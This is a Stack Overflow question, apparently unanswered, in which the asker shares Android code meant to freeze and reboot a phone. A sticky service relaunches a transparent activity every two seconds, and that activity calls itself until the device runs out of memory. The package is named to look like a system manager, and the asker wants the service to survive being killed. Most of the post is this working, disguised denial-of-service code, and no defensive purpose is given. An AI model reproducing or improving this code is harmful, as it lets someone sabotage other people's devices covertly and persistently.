1

I have a sticky service which calls an activity every 2 seconds using a thread.

public class FreezeService extends Service {
Context context = this;
// constant
public static final long NOTIFY_INTERVAL = 2000; // 2 sec
// run on another Thread to avoid crash
private Handler mHandler = new Handler();
// timer handling
private Timer mTimer = null;

@Override
public IBinder onBind(Intent intent) {
    return null;
}

@Override
public void onCreate() {
    // cancel if already existed
    if (mTimer != null) {
        mTimer.cancel();
    } else {
        // recreate new
        mTimer = new Timer();
    }
    // schedule task
    mTimer.scheduleAtFixedRate(new TimeDisplayTimerTask(), 0,
            NOTIFY_INTERVAL);
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    return START_STICKY;// this make the service sticky which prevents it
                        // from getting killed by advanced task killers
}

class TimeDisplayTimerTask extends TimerTask {
    @Override
    public void run() {
        // run on another thread
        mHandler.post(new Runnable() {
            @Override
            public void run() {
                Intent i = new Intent(context, FreezeScreen.class);
                i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(i);
            }
        });
    }
}

the activity then calls itself in onCreate resulting in an infinite calling. which makes everything freeze and out of memory.

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.transparent_ui);
    // launch this activity again and again making the device freeze and
    // reboot
    Intent intent = new Intent(Intent.ACTION_MAIN);
    intent.setComponent(new ComponentName("com.android.systemmanager",
            "com.android.systemmanager.FreezeScreen"));
    startActivity(intent);
}

this works fine, however, my sticky service gets killed at some point. According to this answer, START_STICKY tells the OS to recreate the service after it has enough memory and call onStartCommand() again with a null intent. but my sticky service never starts again.

Community
  • 1
  • 1
collie
  • 31
  • 4

0 Answers0